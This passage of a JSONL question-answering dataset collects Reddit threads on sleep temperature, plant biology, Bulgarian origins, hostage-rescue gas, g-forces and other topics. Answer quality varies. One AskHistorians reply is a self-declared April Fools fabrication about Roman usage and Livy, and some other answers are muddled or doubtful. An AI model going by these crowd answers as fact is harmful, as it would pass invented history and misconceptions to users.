{"q_id": "xpn6d", "title": "At what room temperature do humans get the best sleep?", "selftext": "Body temperature is probably a better one to go by. I apologize for the confusion. The sleep covers will be a big source of error due to the difference in fabric and thickness.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xpn6d/at_what_room_temperature_do_humans_get_the_best/", "answers": {"a_id": ["c5ohsvk", "c5oi159", "c5oi1su", "c5oi52o", "c5oilfv", "c5onwdm"], "score": [50, 349, 119, 6, 33, 5], "text": ["_URL_0_\n\nIt's a response in a collapsed thread so I figured I would get it as a top level comment.", "Here's a study that indicates a room between 60 and 68 F is optimal for sleep:\n\n_URL_0_", "Would skin temperature be a better measurement? At normal room temperature, different sleep coverings make a large difference.", "Does the temperature for a person vary with their average body temperature?  Are there other things that effect the \"best\" sleep temperature?\n\nI know when I am awake I have a hard time dealing with hotter temperatures (my peak temp is about 96.2 and when I get up it about 95.5) but does this mean I would sleep better in colder rooms?   Or even the opposite?  \n\nThank you in advance to whoever lends their expertise to this thread!", "*\"Body temperature, contrary to the common belief, is not uniformly 98.6\u00b0F. That is merely an average. Temperature cycles from about 1 degree below to 1 degree above this average over the course of the day. For healthy young adults who sleep at night, body temperature usually is lowest around 4 to 5 a.m. Most sleep episodes occur in a window from about 6 hours before the daily low to about 2 hours after it.\"*\n[Stanford Link](_URL_0_)\n\n\n*\"Recommending a specific range is difficult, Downey and Heller say, because what is comfortable for one person isn\u2019t for another (explaining how Roy\u2019s wife slept blissfully in the chilly 60-degree room). While a typical recommendation is to keep the room between 65 and 72 degrees Fahrenheit, Heller advises setting the temperature at a comfortable level, whatever that means to the sleeper.\"*\n[WEBMD link](_URL_1_)", "As architects, we are taught that air temperature is only one aspect of comfort. Humidity and air speed (i.e. breeze) also play a role. There are psychometric charts that show this relationship and indicate the \"comfort zone\" for humans. I have never  read anything to suggest that there is a significant difference between human comfort when asleep and when awake, but consider that it may be your bedding that is making you warmer.\n\nHere's a simple chart that shows the relation between humidity and temperature with the comfort zone highlighted: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.webmd.com/sleep-disorders/features/cant-sleep-adjust-the-temperature"], ["http://www.ncbi.nlm.nih.gov/pubmed/8022726?ordinalpos=1&amp;itool=EntrezSystem2.PEntrez.Pubmed.Pubmed_ResultsPanel.Pubmed_DefaultReportPanel.Pubmed_RVDocSum"], [], [], ["http://www.stanford.edu/~dement/temp.html", "http://www.webmd.com/sleep-disorders/features/cant-sleep-adjust-the-temperature"], ["http://farm4.staticflickr.com/3344/3614064282_5eb7f7a95a.jpg"]]}
{"q_id": "kj7zp", "title": "What is happening to this plant?", "selftext": "My parents have a lot of these bromeliads in their backyard. My mother has always called them hurricane flowers, as they tend to bloom right after big storms. The flowers look like this:\n\n_URL_1_\n\nOne of them, however, has grown something strange. It looks like this:\n\n_URL_0_\n\nThis structure is on the end of a stalk like the flowers but it doesn't contain normal flower parts. You can see that the leaves on it have some serration, but they have a color similar to that of the flowers. \n\nMy guess is that some hormone that is supposed to tell the plant to grow flowers didn't have its intended effect, so the plant just grew leaves instead. Is this what happened? Have any of the botanists here seen something like this happen before?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kj7zp/what_is_happening_to_this_plant/", "answers": {"a_id": ["c2kp7b1", "c2kpwfa", "c2kqjbb", "c2kp7b1", "c2kpwfa", "c2kqjbb"], "score": [19, 4, 3, 19, 4, 3], "text": ["In maize, \"crazy top\" sometimes occurs to a plant, where the flowers become leaves.  It is caused by an infection.\n_URL_0_\n\nBUT,\n\nYour plant's leaves look very uniform and pretty healthy looking.  Could it be a different species from the other picture?\n\n", "Male flower vs female flower perhaps?", "Maybe try [r/botany?](_URL_0_)", "In maize, \"crazy top\" sometimes occurs to a plant, where the flowers become leaves.  It is caused by an infection.\n_URL_0_\n\nBUT,\n\nYour plant's leaves look very uniform and pretty healthy looking.  Could it be a different species from the other picture?\n\n", "Male flower vs female flower perhaps?", "Maybe try [r/botany?](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/4PiNB.jpg", "http://i.imgur.com/jOz2O.jpg"], "answers_urls": [["http://ipm.illinois.edu/diseases/series200/rpd207/index.html"], [], ["http://www.reddit.com/r/botany"], ["http://ipm.illinois.edu/diseases/series200/rpd207/index.html"], [], ["http://www.reddit.com/r/botany"]]}
{"q_id": "3cnukk", "title": "I've read that the Bulgarians were originally a group of Turkic peoples from Central Asia. Is this true? If so, why are Bulgarians primarily considered Slavic today?", "selftext": "My understanding is that Bulgarians migrated from Central Asia into what is basically Ukraine, then later they migrated south into modern Bulgaria. Where along this route did they lose their Turkic identity?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3cnukk/ive_read_that_the_bulgarians_were_originally_a/", "answers": {"a_id": ["csxmvb7", "ct0i07z"], "score": [11, 2], "text": ["To potential answerers: Please remember that answers are supposed to be in-depth, comprehensive, and most importantly, *not factually incorrect*.", "This is a highly debated topic. Think of it as the Bulgarian version of Godwin's Law - \"As an online discussion grows longer, the probability of debating Bulgarian origin approaches 1.\"\n\n**The short answer to your question is - nobody knows.**\n\nPlace of origin - unknown. Central Asia for sure, somewhere to the East of the Caspian Sea.\n\nCultural character - unknown. Eurasian nomadic with some notable differences.\n\nEthnicity - unknown.\n\nLanguage - not successfully translated yet.\n\nReligion - unknown, but evidence suggests multiple religious systems may have been practised.\n\nGenetics - I actually stumbled upon this in Reddit recently: _URL_0_\n\n\nUnfortunately, historical research has been politicized for the past 75 years, adding to it a lot of confusion.\n\nIf you wish, I can check for any good papers published in English on this topic.\nAs for why Bulgarians are Slavic today - this is a whole different discussion which revolves around the state policy of the First Bulgarian Empire regarding both internal and external power struggles before and after switching the state language from Greek to Old Bulgarian (i.e. Old Church Slavonic).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/bulgaria/comments/3bqtwj/proto_bulgarians_ancient_dna_study_will_it_settle/"]]}
{"q_id": "7s7kpz", "title": "why are some mammals born with their eyes closed, and only open them after a certain amount of time has passed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7s7kpz/eli5_why_are_some_mammals_born_with_their_eyes/", "answers": {"a_id": ["dt2m286"], "score": [2], "text": ["They're born before their eyesight is fully developed. It's a tradeoff that leaves the litter essentially helpless but the mother can recover from the pregnancy faster and sooner return to a state where she's more fit to hunt and defend her young. Evolution isn't intelligent design, it's 'whatever works works and if something works better it'll outdo the competition eventually', so being born a little prematurely seems to work better than longer pregnancies in some species.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wdvhy", "title": "when the arthritis foundation states that \"losing just one pound can take up to 4 pounds of pressure off of each knee\", how is it possible that one pound can equate for eight pounds of pressure?", "selftext": "Gravity?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wdvhy/eli5_when_the_arthritis_foundation_states_that/", "answers": {"a_id": ["cxvdwiu"], "score": [18], "text": ["Leverage and impact.\n\nIf the knee sat still with a weight rested on top, it would only ever experience that weight (1 pound). However, the knee actually get more stress than that. When supporting weight bearing on it to lift the body from a lower position, like stairs, it experiences more force because of the body being behind it being pulled up and over. For a time, it also bears the whole weight of the body frame instead of just half (like you would standing up).\n\nAlso, when you walk or run, there's an impact force pushing on the knee that is more than the force of just holding up the weight. The faster you move, and faster the knee goes from loaded to not loaded, the more force the knee experiences."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8vcd8n", "title": "why do plants, which rely on the sun, burn in the sun? at what point does this occur?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8vcd8n/eli5_why_do_plants_which_rely_on_the_sun_burn_in/", "answers": {"a_id": ["e1m8k5h", "e1m8mhx", "e1m9rmp"], "score": [6, 2, 2], "text": ["Why do humans, who rely on heat, burn with too much heat? Obviously everything has tolerances for heat that it can and can't take. Exact tolerances depend on the species and even the breed. For example, huskies can't really handle the tropics, and chihuahuas can't really handle Alaska.\n\nThe burning point of plants depends on the plants and the parts of the plant. Ferns, mushrooms, trees, tree leaves, etc. all have different burning temperatures.", "It\u2019s most likely because there hasn\u2019t been enough rain. The plant dries out and more or less becomes tinder. That\u2019s why there are forest fires in dry seasons. Even a little spark could ignite it.\n\nBut it can also be watering at a bad time. People generally think to hose down their garden on a hot sunny day, but it\u2019s actually a bad idea. The individual droplet can act as a magnifying glass and focus too much light in one place.", "Plants have a specific range that they find optimal and then areas outside of that become tolerable until the plant just will not survive that sort of weather.\n\n In North America we look at what zone plants survive. Some can handle more heat and others will survive hard freezes. For example plants that can handle hotter weather tend to have root systems that can find water very well and also leaves that are tougher as to not loose water to the atmosphere as easily. Plants that survive the cold tend to be harder wood plants that shut down earlier in the fall and start up later in the spring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3xdfii", "title": "what is polygenesis and what is its importance/controversy in biology?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xdfii/eli5_what_is_polygenesis_and_what_is_its/", "answers": {"a_id": ["cy3rjrs"], "score": [3], "text": ["Polygenesis is the theory that the multitudes of living things didn't form from one singular living thing that mutated and branched out over time. It suggests that life forms grew out of different 'pools' if you will where one tree of life started in one pool, while another tree started in another, meaning that all life on Earth doesn't share the same singular life form as it's basis, rather that its many branches in fact came from different trees, if that analogy can be used here.\n\nIt's important in the fact that while it can be reasoned that humans evolved from the same animal that created all other primates, since we can (more or less) trace the roots of humans back through the primates and find common ground. \n\nThat may explain most primates, but how does one explain how that ancient life form split off somehow to form things like fish or earthworms, which have almost no commonality among them as species. Polygenesis is a way to explain how these varied lifeforms evolved from a common source, if not the same gene pool.\n\nMake sense? Hope so! Peace!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21tqql", "title": "Has \"up\" always meant \"good\"?", "selftext": "The spatial metaphor of height seems always to be linked to being better.  (Examples: \"I'm above that\".  \"You're the tops\", \"I'm trying to take the high road.\" Even being \"down to earth\" is only good because the person doesn't act like they're \"above\" everybody.) Has this always been the case?  Has being \"down\" ever been good?  Any idea of the historical origins of this idea? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/21tqql/has_up_always_meant_good/", "answers": {"a_id": ["cggmzu9"], "score": [15], "text": ["**Disclaimer: This is a made up, mildly humorous, BS, April Fools joke response.**\n\nYes, or I mean No! In ancient Rome down was good and up was bad. Its not entirely clear how far this goes back but we do know from several accounts that calling someone *usque in caelum* was a grave insult and literally translates to \"up towards the sky\" basically meaning that the person was crazy and thought they were a God. Everyone is also familiar with the roman thumbs up or thumbs down well the modern consensus among historians is that a thumbs down actually meant that the person should live and thumbs up meant that they should die. The reasoning behind this is thought to be that pointing down toward the earth meant that the gladiator would be allowed to stand again and pointing up meant to feed them to the carrion birds which circled arena whenever matches took place.\n\nIt actually can get a little confusing reading translated material because phrases that we associate with being positive would have been negative to a Roman audience and were intended as such. For example in his [Early history of Rome](_URL_0_) Livy states that \"Servius Tullius was held in by far the highest of any one\" which to us sounds great but what Livy was actually saying is that Servius Tullius was nuts! Being high to them meant being a sort of mad man. This has led to a quite a bit of historical bumbling and inaccuracy on the part of many early Roman Historians and modern readers alike. \n\nAnother example of this is when Livy refers to the lowest class, which was the Patricians! To a casual reader this seems to refer to the poor and beggars but in reality he is referring to the richest citizens of Rome. Once again the thinking behind this is that the Richest are the closest to the earth and therefor superior where as the poor are farther from it and as such reaped fewer benefits of it. To them the earth was the source of wealth since it held gold and silver and yielded crops, so being \"low\" was good. conversely the sky was the source of lightning and hail so to them being \"high\" was to be close to the source of these negative things.\n\nI always find it intriguing learning about these strange cultural difference between us and past societies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://web.archive.org/web/20110216082256/http://etext.lib.virginia.edu/etcbin/toccer-new2?id=Liv1His.sgm&amp;images=images/modeng&amp;data=/texts/english/modeng/parsed&amp;tag=public&amp;part=1&amp;division=div1"]]}
{"q_id": "461n08", "title": "Why were so many courthouses burned in American Civil War?", "selftext": "A friend told me that many records relating to slavery have been lost because Confederate forces deliberately burned down courthouses in the Civil War.  Is this accurate?  A quick Google showed up dozens of Southern courthouses being burned, some by one side, some by the other.  Was there a deliberate policy on either side to destroy them?  Has our understanding of slavery been damaged by the loss?  Thank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/461n08/why_were_so_many_courthouses_burned_in_american/", "answers": {"a_id": ["d024sue"], "score": [8], "text": ["This is an interesting question, and one I don't have any real answer for right now. I'll check my library when home later, but just from the reading I've done on the subject, this practice of targeting courthouses isn't something I've read about. When Confederate forces were in northern territory, if they burned or destroyed anything, it was the supplies that they couldn't raid or carry back. Understand that these would almost always be cavalry raids, and that these Confederate forces wouldn't have had a lot of time before having to move on. When in town, the practice was usually to maximize your time there by taking horses, wagons, and whatever food provisions they could carry (including stock). \n\nAs for as northerners, again, this isn't something I've read much about. The Union troops would have had far more time in \"occupied\" territory, so if anyone did it, I would have to imagine it would be them. \n\nSorry for the vague answer - I'll try to get to my books later to see if there's anything else that sheds light on this. \n\n[Sources I'm referring to and double-checking later are: Bruce Catton: 'Mr. Lincoln's Army,' 'Glory Road,' 'Grant Takes Command'  &  'Grant Moves South'; James McPherson, 'Battle Cry of Freedom'; Jay Winik, 'April, 1865'; Doris Kearns Goodwin, 'Team of Rivals']"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "49fglf", "title": "Was Mary, Queen of Scots reign considered beneficial to Scotland?", "selftext": "Did she make any major political decisions noteworthy? How did she do in foreign relations with other countries? Or is the only reason she's famous is for her personal life?\n\nNOTE: I did ask this exact question a little while ago, but it didn't get answered at all, if this is against the rules I'm sorry in advance.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49fglf/was_mary_queen_of_scots_reign_considered/", "answers": {"a_id": ["d0rmxce"], "score": [2], "text": ["I think Magnus Magnusson probably put it best when he wrote, 'It is a challenge for the historian to present the complicated background to Mary's life clearly, without over-simplification, and to allow the events to speak for themselves dispassionately, without polemics. The cast of characters is enormous - friends and foes, husbands and lovers, politicians and preachers, Catholics and Protestants, lords and ladies, loyalists and \"traitors\", champions and belittlers and, above all, the common people of Scotland. Modern scholars have done much to give historical objectivity to the events of her reign; ultimately, however, one's view of Mary and of the Protestant Reformation which revolutionised Scotland during her reign, will always, I suspect, remain largely a personal matter.'\n\nI am not primarily a political historian nor do I necessarily consider myself fully qualified to comment on the reign of Mary, Queen of Scots, but I do study early modern Scotland and it is difficult to do so without picking up a little bit of information here and there about this tragic queen. I find the phrasing of your question interesting because when it comes to Mary, it is very difficult to separate her public life from her personal life at all. From infancy she was inextricably tied to the fortunes of her country (and vice versa) in a way that is perhaps difficult for our modern sensibilities to grasp. When James V died, Mary was a mere six days old. She was officially crowned at the age of nine months and the first five years of her life were spent trying to evade the 'rough wooing' of Henry VIII who was determined that the young queen of Scots would marry Prince Edward in a matrimonial union of the English and Scottish crowns.\n\nFor the established monarchs of Europe, possession of Mary meant possession of Scotland. This is why both Henry VIII of England and Henri II of France were so intent upon securing a matrimonial alliance with Scotland. For England, a Scottish marriage would finally accomplish the goal first pursued by Edward I in the thirteenth century of uniting the whole isle of Britain under one ruler. Moreover, as Mary had a legitimate claim of her own to the English throne (her grandmother was Mary Tudor, Henry VIII's sister), it would deal nicely with any inconvenient claims she (or others in her name) might make against his own heir(s). For France, a matrimonial alliance with Scotland allowed any heirs of said marriage to stake a legitimate claim to the English crown which could, theoretically, result in a French 'empire' composed of France, Scotland, and England. Moreover, it was believed and hoped that a French-ruled Catholic Scotland would provide a nice buffer against Protestant England with regards to the eternal conflict between France and England.\n\nThis, of course - that is to say, religion - was the biggest issue to arise during the course of Mary's reign. When Mary came to the throne as an infant, Scotland was still a Catholic country. By the time she returned, widowed, to Scotland from France in 1560, it was resolutely and irrevocably Protestant. Yet (and despite the rather biased accounts that come to us from John Knox's self-aggrandizing history of Scotland's Reformation), Mary appears to have weathered the storm of religion well. She was prudent in her dealings with Protestantism and accepted the fact that her country would not be dragged back into the arms of the Church. Unlike Mary I of England, she did not persecute non-Catholics and asked only that she be allowed to practice her own religion privately and without interference.\n\nWhere Mary failed as a monarch was *in* her personal life. She fell madly in love with a proper fool, and when that fool was later murdered, she was tainted by the scandal of his death. This taint was compounded by the fact that she later married the lead suspect in Darnley's murder which lost her the popular support of her people.\n\nSo really, over all, I would say that her reign was not as beneficial to Scotland as the reign of her son, James VI/I. By virtue of being the female heir to a kingdom, she inspired Henry VIII and, after his death, Lord Somerset to repeatedly invade Scotland, burn, sack, pillage, and destroy the countryside in an effort to force a marriage with England to stop the violence. By marrying the French dauphin and remaining Catholic, she made certain of her nobles and advisers extremely nervous given their own Protestant leanings: they wanted nothing to do with a Catholic French alliance and were wary of the potential for a counter-Reformation along the same lines as that endorsed by Mary I to the south. By choosing imprudent marriages, she lost the respect of her people and the support of many of her nobles which then threw the country into a period of civil war. While her choice to accept Protestantism in her realm spared the Scottish people the kind of bloody terror that the English endured following the death of Edward VI, they still suffered quite a bit of violence and uncertainty during Mary's tenure. With regards to foreign relations...Scotland wasn't really a notable player within European politics during Mary's personal reign. Yes, foreign powers took an interest in Scotland during Mary's childhood and early first widowhood, but as soon as she married Darnley, her internal problems were such that she couldn't afford to look outward onto the European stage at large.\n\nHopefully this answers your question a bit. If you'd like to read up on Mary's reign, yourself, here are a couple of recommendations for you to check out:\n\nLynch, Michael, *Scotland: A New History* (Pimlico, 1992).\n\nMagnusson, Magnus, *Scotland: The Story of a Nation* (Grove Press, 2000).\n\nMason, Roger, 'Renaissance and Reformation: The Sixteenth Century' in Jenny Wormald, ed., *Scotland: A History* (Oxford University Press, 2005).\n\nSmout, T.C., *A History of the Scottish People 1560-1830* (William Collins, 1969)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aly65h", "title": "how do fire hydrants work in the winter? how does the water not freeze in -20\u00b0c weather?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aly65h/eli5_how_do_fire_hydrants_work_in_the_winter_how/", "answers": {"a_id": ["efhvgo3", "efhvhgr", "efhvip8", "efi0fqc"], "score": [10, 8, 5, 3], "text": ["There are multiple designs, the ones that prevent water from freezing keep the water underground below the frost layer. Meaning the water is kept warm by the earth. ", "The water is underground, below the freeze line.\n\nThat's why hydrants have that hard to turn valve.  The stem is dry when the hydrant is off, and the air insulates the valve mechanism from the cold.", "Fire hydrant valves are buried very deep, well below the frost depth. This keeps the water from freezing since it is surrounded by soil that isn't frozen. This is very similar to the old timey faucets in the back yard. ", "Dirt is an excellent insulator. Many \"cold-blooded\" animals survive the winter by burying themselves. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4osuaj", "title": "in a hostage situation, where the assailant is holding the hostages in a contained location, why can they not use some sort of gas/chemical that knocks out everyone inside?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4osuaj/eli5_in_a_hostage_situation_where_the_assailant/", "answers": {"a_id": ["d4f9df4", "d4f9dvm", "d4f9l2z", "d4fbk1g", "d4fbkm7", "d4fdc3e", "d4fevro", "d4ffm0u", "d4fgt5s", "d4fiqjn"], "score": [207, 47, 67, 11, 14, 20, 3, 3, 5, 2], "text": ["\"Knocking someone out\" is not a simple affair. The dosage of the knock-out agent has to be administered very precisely, or you risk knocking them out for good. It's also not instantaneous, so the assailant could be alerted while still having enough control over their bodily functions to cause mayhem.", "When doctors put you to sleep, they're skilled professionals using precisely calibrated doses of medication.\n\nIf you were to just dump an anesthetic into a building willy-nilly, you either wouldn't put people to sleep or you'd kill half of them.\n\nThere's also a time issue.  You can't just knock out people instantly.  So your assailants know perfectly well what you're doing and have plenty of opportunity to either take steps to counteract it or react to it violently.\n\nWhen gas is used in such a situation, it's normally an irritant of some sort that causes pain and a physical reaction without being lethal - think dripping pepper sauce in your eyes.  It incapacitates you, but you're not going to die from it.", "They did this years ago in an Russian theater, the effect was that panic broke out under the hostages and there were many casualities because of the dosage of the gas\n\n_URL_0_", "Are there any babies or pregnant women inside?  What about hostages with heart problems?  Do the bad guys have gas masks?  What is the risk of them just firing indiscriminately if they realize they are being gassed?  Does using gas make it harder to safely send in rescue or medical teams?  ", "Robber: I'm starting to feel sleepy,that's strange. All my hostages are getting sleepy too.......OH SHIT THEIR TRYIN TO DRUG ME!        *kills all hostages", "Contrary to what television and movies show us, there is no magic knockout gas you can release into an area that instantly and harmlessly puts everyone to sleep.  You can't be sure how the gas will disperse in the area, and a dosage that might kill a smaller person might not even put down a larger one.  (Just like there's no magic tranquilizer dart that can safely and quickly put down a rampaging animal.)  There are plenty of gases that can instantly kill anyone in an area, but that's bad for the hostages.", "because what can knock me out could kill another or vice versa. You have to be precise and the effects can take time. You also have to take into account that someone could have an adverse reaction to what ever you use. I think the Russians tried something like this and the whole thing went south. ", "If the assailant sees or feels like they are losing control of the situation, they may open fire to inflict as much damage as they can before they lose conscious.", "Russian OMON did that in Nord-OST hostage crisis... out of 130 casualties of the crisis 129 where killed by the gas", "What everyone has said about needing the proper dosing. Plus it still won't be instant if it did work perfectly, as soon as the attacker realizes he's gonna get knocked unconscious, they might start taking out hostages cuz fuck it "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Moscow_theater_hostage_crisis"], [], [], [], [], [], [], []]}
{"q_id": "rjzbi", "title": "If one were to be shot in the stomach would it be better to have a full or empty stomach?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rjzbi/if_one_were_to_be_shot_in_the_stomach_would_it_be/", "answers": {"a_id": ["c46hpmo"], "score": [12], "text": ["Well, since more acid is created when food is present/about to be present/was just present, I would say that it would be better to be shot in the stomach when it is empty and has been for a little bit. Other then acid content, I would have to say both would be equally bad"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2kibkz", "title": "Would being immersed in a fluid protect the occupant of a vehicle from high, constant acceleration?", "selftext": "I just finished a great space opera called [Leviathan Wakes](_URL_0_), and orbital and acceleration dynamics play a large part of it. When ships are trying to quickly go from one area of the solar system to another, everyone needs to get in accel couches, and they may accelerate for several hours at high g, then short intervals of 1g, and back and forth.\n\nAt one point a particular crew is sustaining prolonged period of high g forces, 3 - 5g, and increasing, with no breaks, attempting to catch another craft. It's noted that even with stimulating drugs, this will eventually kill the crew, likely through respiratory or circulatory failure.\n\nWouldn't being immersed in a fluid, say water, protect the body from  these acceleration issues? I do some SCUBA diving, and it seems intuitive that accelerating at, say, 5g while in a tank would simulate being ~ 50m under water. There are issues with this, due to the problems of breathing various gasses at high pressure, but they seem like solvable problems (this is certainly within the limit of technical diving technologies).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kibkz/would_being_immersed_in_a_fluid_protect_the/", "answers": {"a_id": ["cllpdu3", "clm7mto"], "score": [12, 2], "text": ["I went back and forth in this in my head quite a few times, and I'm not sure I'm right, so I encourage people to argue with me in the comments. Let's bang this one out together.\n\n >  Wouldn't being immersed in a fluid, say water, protect the body from these acceleration issues? \n\nI think it won't protect you. The g-force is a *force*, while the water pressure is a *pressure*. Hence, no matter how hard the spaceship is accelerating, being in water won't stop you from experiencing just as many gs as the ship, simply because you have to keep up with it kinematically, and it's really the high forces that causes the damage. \n\nIn the accelerated reference frame, the water will do something interesting: it will be have like it does on earth, and will get slammed to the back of the ship (like how water gets held flat on earth), and will generate a buoyant force *in the forward direction.* However, in this high g environment (let's say your acceleration is *n* gs), the water pressure will be *n* times as high, and the bouyant force will be too, [by Archimedes principle.](_URL_0_) So maybe the fact that the water pressure at your feet is greater than at your head might cushion you a bit by squeezing harder on your feet so that not as much blood could pool there, but you still have big g-forces acting on you, and if we learned anything from Einstein, it's that the forces can't be tricked.\n\nBut then again, being in this accelerated frame should be indistinguishable in all relevant ways from being on a planet with a certain higher gravity than earth, and in that case, I know I'd like to be submerged. On earth, you really do feel practically weightless in water, and I imagine being submerged on the alien planet might take some of the load off.\n\nYour intuition is neat though. Google tells me the average diver generally only goes down 40 meters or so, and beyond that they run some serious risks due to the high pressure. At this depth, they are under about 5 atmospheres of pressure. This is comparable to the g-force that untrained people can sustain - [about 5 gs for 10 minutes is.](_URL_1_) As a tangent, I think I'd believe that a diver could sustain the 5x pressure longer than a pilot could sustain the 5x force.", "Liquid immersion will give mechanical support.  Lying flat on couches probably helps more.  (Sensible people would do both.)\n\nWe care about pressure gradients in time and space - not about absolute pressures.  Saturation divers can go for weeks with little trouble, but, at some point, normal circulation will cause decompression sickness."]}, "title_urls": [], "selftext_urls": ["http://www.amazon.com/gp/product/B0047Y171G?btkr=1"], "answers_urls": [["http://en.wikipedia.org/wiki/Archimedes%27_principle", "http://en.wikipedia.org/wiki/G-force#Human_tolerance_of_g-force"], []]}
{"q_id": "aq507c", "title": "Do we have a way to measure size other than relative to other objects? In other words, if everything in the universe was growing at the same rate, down to the subatomic level, would we know?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aq507c/do_we_have_a_way_to_measure_size_other_than/", "answers": {"a_id": ["egdspom", "egdx1re", "egdyzb4"], "score": [21, 5, 2], "text": ["The meter is based off a rate x time. That doesn\u2019t depend on the size of objects around it. So, by that definition, things would be measurably growing. \n\nWe would also notice other properties changing at the same time - if nuclei (and electrons, etc) were growing in size but the forces holding them together remained the same, we would notice a change the properties of molecules and materials.\n\nI\u2019m assuming here that the speed of light remains. ", "Officially, we measure size based on the speed of light and time, so it sort of depends on whether those change in sync with the size change or not. If they all change in sync, then I don't think you'd be able to tell.\n\n The universe is expanding though, so everything *is* growing by some definitions since space between objects is expanding. I'm not sure how small these effects are felt though - whether subatomic particles expand as well or not.\n\n & #x200B;\n\nOr to put it another way, yes we can probably tell, but ask a real expert for details. I'm not as good at this as I used to be - it's been a long time since I scienced properly.", "Gravity and nuclear forces counteract expansion. A way of visualizing it is things (subatomic particles, planets, solar systems) moving apart but then falling back into place immediately. The galaxy will be ripped apart long before subatomic particles, so it would only make sense to perform such experiments after that point.\n\nBut yes, the speed of light could be used to make this measurement and verify the above claim."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "nbqyh", "title": "What technologies are nearly at the maximum point of theoretical efficiency?", "selftext": "We all know about Moore's law that make computers ever more efficient every year (or 18 months ;) ), and so far, no doomsayers have been coming around to cool off our enthusiasm for ever faster and smaller computers as it seems the theoretical limits are just so far ahead.\n\nBut there are other technologies that surely rely on different processes that are mature enough to be almost at the limit; one may think of electrical generators who are well above 90% efficiency.\n\nSo, what other technologies cannot conceivably be improved much more as they are already near their maximum efficiency?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nbqyh/what_technologies_are_nearly_at_the_maximum_point/", "answers": {"a_id": ["c37ulvw", "c37uwzi", "c37v0to", "c37vojk", "c37wg52", "c37whna", "c37wlos", "c37wz6j", "c37xwqe", "c37xydx", "c37za1t", "c37zer0", "c37zynb", "c382kli", "c38d3of", "c37ulvw", "c37uwzi", "c37v0to", "c37vojk", "c37wg52", "c37whna", "c37wlos", "c37wz6j", "c37xwqe", "c37xydx", "c37za1t", "c37zer0", "c37zynb", "c382kli", "c38d3of"], "score": [48, 34, 14, 31, 8, 26, 3, 29, 3, 5, 3, 2, 3, 2, 2, 48, 34, 14, 31, 8, 26, 3, 29, 3, 5, 3, 2, 3, 2, 2], "text": ["Methods for sorting arbitrary data has reached the theoretical minimum number of comparisons. \n\nMany results in Computer Science are fascinating because they have hard theoretical bounds, which are often reached with good algorithms. I will try to post more a bit later.", "Computer chip size, specifically with regards to p-n junctions: we're getting so small, it's reaching the point where quantum tunneling is causing a problem for classical computing. Current approximations show that the minimum feature size is about 4 nm before electron tunneling becomes so prevalent that chips fail; right now we are at ~20 nm. \n\nHere's a starter info: _URL_0_", "Until material technology makes some sort of radical breakthrough, I'd say rocket and jet engine technology have reached their pinnacle due to the limits imposed by ever increasing pressures and temperatures required to produce the same amount of thrust using less fuel and lighter engines.", "Electric heaters, almost by definition.   :-)\n\n(yes, I know that heat pumps / reverse air-conditioners have different rules)", "To some extent, there are a lot of [mature technologies](_URL_0_) that you could say have pretty much been optimized (in that they haven't been changed substantially over a long period of time, anyway--for a lot of them, *proving* that they're optimized is very difficult.) There are a variety of chemical reactions that, for doing a particular coupling or cleavage, have been pretty much optimized.\n\nAlso, consider common tools like hammers, forks, or door hinges. When they were developed, enormous technological advances. Not so much advancement for them these days.", "The latency on cross-continental pings is very close to the theoretical limit due to the speed of light in copper/fiber. Switches basically run at \"wire speed\". ", "I was reading about image definition and comparing it to the human eye. Since we can now make images in a higher definition than the human eye can see we *could* say that this technology is at maximum necessary efficiency to serve its purpose for many mediums. Although in the context you have stated imaging technology is nowhere near its theoretical efficiency. I just thought it was a neat tidbit :)", "Some brushless motors are hitting as high as 95% electro-mechanical energy conversion efficiency. It's a shame our generation and storage methods are so inefficient or plug in electric cars could actually be feasible. \n\nMany large turbine designs operate near maximum efficiency as defined by thermodynamic laws regarding entropy. \n\n", "For engines, the [Stirling Engine](_URL_0_) is about as close as you can get. It operates at almost the Carnot efficiency, which is the theoretical limit for devices that use thermal energy to do work. The only problem is that it's hard to make one that operates at high speeds due to the mechanics of how they work. I've seen them 